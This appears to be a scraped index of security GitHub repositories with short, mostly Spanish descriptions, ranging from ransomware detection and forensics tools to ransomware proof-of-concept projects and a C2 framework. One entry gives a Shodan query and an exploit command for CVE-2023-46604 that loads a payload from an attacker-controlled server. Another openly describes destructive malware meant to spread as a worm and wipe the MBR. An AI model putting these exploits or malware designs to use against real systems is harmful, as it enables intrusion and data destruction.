protections-artifacts

Artefactos de Protección Elastic Security previene ransomware y malware, detecta amenazas avanzadas y brinda a los respondedores un contexto vital. Es gratuito y abierto, listo para cada endpoint. Protections-Artifacts es el hogar de nuestra lógica de detección reglas, yara, etc. para Elastic...

RansomCoinPublic

RansomCoin Extracción de metadatos e Indicadores de Compromiso embebidos de ransomware, de forma escalable y eficiente, con integraciones con Cuckoo. Idealmente, se ejecuta durante el análisis dinámico de Cuckoo, pero también puede usarse para análisis estático en grandes colecciones de ransomwar...

NxRansomware

NxRansomware Una nueva generación de ransomware. Completamente escrito usando .Net Framework + Sistema C&C Creado por: Guilherme Bacellar Moralez Descargo de responsabilidad Este código está creado y mantenido solo con fines de investigación. Por favor, no lo uses para otros fines. Por favor, no...

CryptoTester

CryptoTester Una utilidad para jugar con criptografía, orientada al análisis de ransomware. Vistas Hex Todas las vistas hex utilizadas en CryptoTester ofrecen algunas capacidades mejoradas. Los bytes nulos se colorean en gris claro Los bytes que representan caracteres ASCII imprimibles se colorea...

DFIR_Resources_REvil_Kaseya

Recursos para profesionales de DFIR que responden al ataque de ransomware REvil en la cadena de suministro de Kaseya Ayer, Sophos y Huntress Labs identificaron que Kaseya, un proveedor de gestión remota popular entre los MSP, fue comprometido para implementar un ataque de ransomware en la cadena ...

CVE-2023-46604

CVE-2023-46604 Exploit for CVE-2023-46604 This tool helps to exploit this vulnerability. Shodan Query to find target: root@kitploit: product:"ActiveMQ" port:"61616" Tools Usage: root@kitploit: for read targets from the file: python3 exploit.py -f targets -c http://YourVPS/poc.xml --- single targe...

conti-pentester-guide-leak

conti-pentester-guide-leak Este repositorio fue creado para archivar los filtrados materiales de pentesting filtrados, que anteriormente fueron entregados a los afiliados del grupo de ransomware Conti: obraz Los materiales mencionados cubren temas como: configurar el software Rclone con MEGA para...

CVE-2023-28252

Desde febrero de 2022 se reportó un nuevo ransomware que parece estar utilizando una vulnerabilidad de día cero de Windows, según la investigación realizada por Trend Micro. Se puede encontrar más información sobre este ransomware en este enlace. Según el análisis de Kaspersky, el grupo de...

CVE-2024-30851-jasmin-ransomware-path-traversal-poc

PoC de path traversal en el panel web del ransomware Jasmin EducationalPurposes https://github.com/codesiddhant/Jasmin-Ransomware Descubrí una vulnerabilidad de path traversal previo a la autenticación en el panel web del ransomware Jasmin CVE-2024-30851, que permite a un atacante desanonimizar a...

strafer

Strafer Elasticsearch infections are rising exponentially. The adversaries are exploiting open and exposed Elasticsearch interfaces to trigger infections in the cloud and non-cloud deployments. During this talk, we will release a tool named "STRAFER" to detect potential infections in the...

CLFS

Ataque CLFS - CVE-2023-28252 Desde febrero de 2022 se reportó un nuevo ransomware que parece estar utilizando una vulnerabilidad de día cero de Windows, según la investigación realizada por Trend Micro. Más información sobre este ransomware se puede encontrar en este enlace. Según el análisis de...

Kaseya VSA 2017 ConnectWise ManagedITSync - Remote Code Execution

ConnectWise ManagedITSync integration through 2017 for Kaseya VSA is vulnerable to unauthenticated remote commands that allow full direct access to the Kaseya VSA database. If the ManagedIT.asmx page is available via the Kaseya VSA web interface, anyone with access to the page is able to run...

CVE-2022-47986

CVE-2022-47986 Por qué Esta vulnerabilidad se explota activamente. IceFire utiliza esta vulnerabilidad para desplegar el ransomware en sistemas objetivo. Me gustaría ayudar a los equipos de SOC/Blue a identificar los sistemas afectados y a los Pentesters/Red a explotarla y reportarla. Descripción...

racketeer

Proyecto Racketeer - Toolkit de simulación de ransomware El objetivo de este proyecto es proporcionar una forma para que los equipos simulen y prueben la detección de operaciones comunes de ransomware, de manera controlada, contra un conjunto de activos de la empresa y puntos finales de red. Mode...

Exploit-CVE-2014-4210-

EMPIEZA CON ALGO GENIAL AMIGOÚSALO PARA JODER MEJORAS PARA CAUSAR SUFRIMIENTO HUMANO: 1. Gusano Autorreplicante : Se propaga mediante ataques de fuerza bruta SSH/explotaciones SMB a todas las redes conectadas. 2. Sobrescritura de MBR : Inutiliza hardware físico destruyendo tablas de particiones s...

c2-cloud

About The Project The C2 Cloud is a robust web-based C2 framework, designed to simplify the life of penetration testers. It allows easy access to compromised backdoors, just like accessing an EC2 instance in the AWS cloud. It can manage several simultaneous backdoor sessions with a user-friendly...

rip_raw

Rip Raw Rip Raw is a small tool to analyse the memory of compromised Linux systems. It is similar in purpose to Bulk Extractor, but particularly focused on extracting system Logs from memory dumps from Linux systems. This enables you to analyse systems without needing to generate a profile. This ...

shennina

Shennina Automating Host Exploitation with AI Abstract Shennina is an automated host exploitation framework. The mission of the project is to fully automate the scanning, vulnerability scanning/analysis, and exploitation using Artificial Intelligence. Shennina is integrated with Metasploit and Nm...

ransomwatch

RansomWatch RansomWatch es una herramienta de monitoreo de sitios de filtración de ransomware. Extraerá todas las entradas de varios sitios de filtración de ransomware, almacenará los datos en una base de datos SQLite y enviará notificaciones a través de Slack o Discord cuando aparezca una nueva...

Phirautee

Phirautee Un virus criptográfico de prueba de concepto para concienciar a los usuarios sobre ataques e implicaciones de los ransomware. Phirautee está escrito puramente en PowerShell y no requiere bibliotecas de terceros. Esta herramienta roba información, mantiene los datos de una organización...